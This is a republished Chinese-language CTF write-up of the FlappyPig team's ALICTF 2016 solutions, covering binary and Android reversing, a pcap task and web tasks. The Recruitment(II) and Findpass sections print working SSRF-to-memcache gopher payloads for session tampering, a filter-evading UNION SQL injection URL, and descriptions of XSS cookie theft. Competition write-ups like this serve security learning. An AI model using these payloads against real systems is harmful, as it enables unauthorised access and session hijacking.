欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  后端开发

ALICTF2016 FlappyPig WriteUp(获奖团队FlappyPig通关策略)(二)

程序员文章站 2022-05-26 17:48:55
...

9. uglycode

调用函数的地址都是通过下列方式算出来的,不过a1=2,所以手动算下跳转地址即可。

程序中有几处代码需要异或解密出来:

fromidaapi import *

defdecrypt(start, end, xor_data):

for i in range(start, end):

a = get_byte(i)

patch_byte(i, a^xor_data)

decrypt(0x603440,0x603440+250, 0x49)

decrypt(0x603740,0x603740+672, 0x7e)

decrypt(0x603a00,0x603a00+0x1fd, 0xef)

最后有4位不确定,通过md5进行爆破。

f ='35faf651b1a72022e8ddfed1caf7c45f'

defmd5(src):

m2 = hashlib.md5()

m2.update(src)

return m2.hexdigest()

for i1 inrange(0x20, 0x80):

for i2 in range(0x20, 0x80):

for i3 in range(0x20, 0x80):

for i4 in range(0x20, 0x80):

f2 ='M'+chr(i1)+chr(i2)+chr(i3)+chr(i4)+'A1w4ys_H3re'

if md5(f2) == f:

print f2

break

flag为:alictf{Pr0bl3M_1s_A1w4ys_H3re}

10. debug

双进程保护,首先看父进程,比较简单

主要就是在子程序两个地方停下来时,修改一下内存。

简单对程序进行手动patch之后,就可以对子进程调试。

分析算法,发现是进行了一个tea加密,然后异或了一个0x31,之后与固定的字符串进行比较。

此处的tea与标准的tea有所区别,主要是轮次,由32变成了128,稍微改改tea的解密程序就可以正常解密了。

from zioimport *

f =open('./debug', 'rb')

d =f.read()[0x7030:0x7030+0x10]

d2 = ''

for i inrange(0x10):

d2 += chr(ord(d[i])^0x31)

printHEX(d2)

#5dff17ed14f787e92842a1dc0a97f732

#include

voiddecrypt(unsigned long *v, unsigned long *k) {

unsignedlong y=v[0], z=v[1], sum=0xC6EF3720, i; /* set up */

sum =0x1bbcdc80;

unsignedlong delta=0x9e3779b9; /* a key schedule constant */

unsignedlong a=k[0], b=k[1], c=k[2], d=k[3]; /* cache key */

for(i=0;i

{ /*basic cycle start */

z -=((y>5) + d);

y -=((z>5) + b);

sum -=delta; /* end cycle */

}

v[0]=y;

v[1]=z;

}

voidmain()

{

unsigned long plain2[2] = {0xed17ff5d,0xe987f714};

decrypt(plain2, key);

printf("%08x%08x", plain2[0],plain2[1]);

unsigned long plain3[2] = {0xdca14228,0x32f7970a};

decrypt(plain3, key);

printf("%08x%08x\n", plain3[0],plain3[1]);

}

flag为c6bf3d7cdad82ea712cea62cccbafddf

11. timer

这个题lib里面好像没有什么东西,调用stringFromJNI2函数只要传入正确的数字即可打出flag,爆破的话估计成功率不高。所以重点还是在找出正确的数字上。

主要逻辑如下图

简单看了一下可以得出结论,上面的这段代码没一秒钟运行一次,而this.beg给出的超时时间为200000秒。如下图

也就是说只要让应用连续运行200000秒就可以出现flag。。。

当然直接运行的话估计就没分了。分析一下上面的逻辑可以得出下面的python代码。

其中is_prime的代码为

直接从apk里拷贝过来改了改。最终求出k为1616384,传到stringFromJNI2就可以了。

传递参数的时候优先可以考虑hook的方法,不过当时手头没有合适的手机,就退而求其次采取直接修改smali代码重新打包运行。

用Andoird killer打开apk,首先修改MainActivity.smali为下图,使得k值默认为1616384。

之后修改MainActivity$1.smali的两个地方,第一个地方是修改判断调试使程序直接执行stringFromJNI2,第二个地方注释掉时间更新、使这段代码只运行一次。

最后安装上apk运行就行了,我把背景变成白的了,要不然字看不清。

12. LoopAndLoop

这个题的主要逻辑如下图,只要输入正确的数字,就能得到flag。

看一下lib中的check函数,主要逻辑如下图,原来是lib中的check函数会循环调用java层中的check1、check2、check3函数。在这里有几点需要注意,在这里实际调用的_JNIEnv::CallIntMethod函数实际有5个参数,ida识别不全只列出3个,第4个参数是传入check函数的第1个参数,第5个参数是传入check函数的第2个参数减1(不是参数本身!!)

Java层中的这三个check函数就是做了一些简单的循环加减法,翻译成python如下图

最后打印出的就是正确的数字236492408(我知道等差数列可以直接求和但是我懒),输入apk中即可得到flag。

13. Steady

这个题是一个纯Native的apk应用,相关原理可以参考:

http://www.cnblogs.com/hicjiajia/archive/2011/01/20/1940022.html

这个题用了比较纠结的ollvm混淆,全部是使用while循环和关键字判断来的,看了挺长时间。

这个题大概是一个游戏,该apk运行时会检测手机的角度,然后在角度变换的时候在adb的log中打出相应结果,如图,同时屏幕会变色,如果角度正确屏幕就变为绿色。

经过研究代码,发现屏幕的三个角度会传入a_process函数,之后a_process函数的返回值会与另一个数组进行比较,关键代码如下面三幅图

考虑到此时的三个角度为唯一的输入变量,而a_process的返回值为角度唯一影响的变量,遂考虑修改a_process的返回值达到伪造输入的目的。将a_process的返回值依次改为数组中的值,可以成功运行到输出flag的代码。

但是此时输出的flag为乱码,考虑其他原因。

通过研究a_process函数,发现其能够返回的最大值为6,而数组中出现了7和9。

继续研究代码,发现b_process的运行结果会与a_process的运行结果相加

同时发现只有当a_process返回6时才会执行b_process,如下图

于是考虑当需要修改为7和9的时候,把a_process的返回值修改为6,同时修改修改b_process的返回值分别为1和3,最终得出flag为alictf{PvrNa7iv3Ap6}

14. ColorOverFlow

流量包,把apk抓下来

#!/usr/bin/env python

from scapy import*

from scapy.all import*

import io

import struct

import sys

b = io.BytesIO()

rawpcap = rdpcap(sys.argv[1])

rawpcap = [_ for _ in rawpcapifTCP in_ and_[TCP].dport == 5555and _[IP].src =="10.0.2.2" and Rawin _[IP]]

rawpcap = next( rawpcap[i+1:] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('/data/local/tmp') !=-1 andp[Raw].load.find('SEND') != -1)

rawpcap = next( rawpcap[:i] for i,p in enumerate(rawpcap) ifRaw inp andp[Raw].load.find('pm \'install\'') != -1)

print(len(rawpcap))

#b.write(''.join([p[Raw].load[24:] for p inrawpcap if Raw in p ]))

for p in rawpcap:

if Rawin p:

data = p[Raw].load

if data.startswith('WRTE'):

data = data[24:]

b.write(data)

b.seek(0)

#print b.read()

a = open('out.apk','wb')

header = b.read(8)

while header != "":

tag, datalen =struct.unpack('

if tag== "DATA":

a.write(b.read(datalen))

else:

break

header = b.read(8)

a.c lose()

逆算法,aes和md5,写了个py还原如下

import hashlib

from Crypto.Cipher import AES

def hex2bytes(s):

r=s.decode("hex")

a=[]

for i in r:

a.append(ord(i))

return a

def fix(a,b):

v0=0

v8=8

v2=[]

v3=[]

for i in range(len(a)):

v2.append(0)

for i in range(v8):

v3.append(0)

for v1 in range(0,v8):

v3[7-v1]= 255& b

b=b>>v8

while v0

v2[v0]=ord(chr(a[v0]^ v3[v0%8]))

v0+=1

return v2

def pre(arg6):

a=[]

for i in range(0,len(arg6),2):

a.append(int(arg6[i]+arg6[i+1],16))

return a

def showlist(a):

for i in a:

if i >=128:

print i-256,

else:

print i,

print ""

androidId = "bb39b07060deabd5"

timestamp=1463149196345

iv =fix(hex2bytes("46514BF9F2B3CD3BF580B7CD9BAE4514"), timestamp)

showlist(iv)

encryptedData = hex2bytes("DA2990BF15B7FD98A4E73EF766CD714F6F63B2E7F270C55F0CAF7E704CA7702F")

showlist(encryptedData)

temp=hashlib.md5(androidId).hexdigest()

key = pre(temp)

showlist(key)

content1=""

key1=""

iv1=""

for i in encryptedData:

content1=content1+chr(i)

for i in key:

key1=key1+chr(i)

for i in iv:

iv1=iv1+chr(i)

obj = AES.new(key1,AES.MODE_CBC, iv1)

print obj.decrypt(content1)

15. Recruitment(II)

乌云上的文章不少:

http://drops.wooyun.org/tips/16357

http://drops.wooyun.org/papers/13948

http://drops.wooyun.org/papers/8261

首先搭建环境测试ssrf,先折腾一下VPS,漏洞在提交照片URL的地方,给别的后缀会出错,修改Apache配置文件,让jpg后缀也可以当php运行:

加一个jpg的就好了。

本地构造xxx.jpg,测试:

提交url:

测试成功。

反弹sh未果,进行多种内网协议测试未果,在本地11211端口上发现运行的memcache,限定本机访问,目测打这个。

进行ssrf访问memcache后,回显会在index.php的图片上体现出来,下载图片查看即可。

使用version指令获取到版本信息:VERSION1.4.14 (Ubuntu)

使用stat items获取到4种id的items:

然后要取内容:

而后:

header('Location: gopher://127.0.0.1:11211/_get%20123123.lock%0aget%20v7j9fqjd87ahllrt3nuamn3860%0aget%201a7ippv1hln313834vkqeck2a1%0aget%203ftrcl490ovko8fkjmrsub5ub6%0aget%20luqfvoniepg4m38u4h1m4p2l94%0aget%20b27dfchc0lbkvdhv6s4qutt1t6%0aget%20ldq98pp1eqn3bcl28esca6doj7%0aget%207ve2m51ho3ik2phntbbf6mda45.lock%0aget%20hos82c41uh5c5vcbsoorv7cv47.lock%0aget%20e6lbcsnd1jqlkcdlpksdqa5653.lock%0aget%20tv2b4vad0ea9itqkk3h5a35lg2.lock%0aget%203q4b3tclao3odc5thdhr6fq2l7%0aget%200mq7lftahvoeb0rl428b4tagr1%0aget%207ve2m51ho3ik2phntbbf6mda45%0aget%20vm3tf5drmvnp2f508vrourden4%0aget%20e6lbcsnd1jqlkcdlpksdqa5653%0aget%20hos82c41uh5c5vcbsoorv7cv47%0aget%20tv2b4vad0ea9itqkk3h5a35lg2%0aquit%0a');

?>

发现session存到了这里。通过set指令进行修改,将is_admin改成1,成功登陆admin。

需要执行的指令序列:

生成jpg:

成功登陆/admin,发现memo,尝试修改session里的ip为127.0.0.1 然后通过gopher发送http请求去访问memo.php,但依然提示非local user,这时候发现backup.php,访问得到全站源码发现了注释的备份文件,下载,审计,waf过滤的比较严格,但是session没有被过滤,通过ssrf+memecache可以修改session的

使用unionselect注入,测试为7列,构造payload,修改session,访问index.php,获取flag(库表名源码中已给出):

header('Location:gopher://127.0.0.1:11211/_set%20gfe2m51ho3ik2phntbbf6mda45%200%200%20177%0d%0agtserver|i:1;captcha_id|s:11:"captcha_110";is_login|b:1;is_admin|b:1;user_ip|s:14:"218.29.102.114";username|s:61:"dfah\'%20union%20select%201,content,3,4,5,6,7%20from%20memo%20where%20\'1\'=\'1";%0d%0aquit%0d%0a');

?>

16. Findpass

注册账号发现是有个message的留言板

然后试了下用户名处的xss。

收了一早上的cookie

一波思路

之后发现HHHH可以覆盖注册

http://114.55.1.176:4458/detail.php?user_name=HHHH

user_name存在注入,根据xss到的构造payload

payload:

http://114.55.1.176:4458/detail.php?user_name=HHHH%27%0aununionion%0aselselectect%0auser_pass,2,3,4%0afrfromom%0atest.users%0aununionion%0aselselectect%0a1,2,3,4%0aoorr%0a%271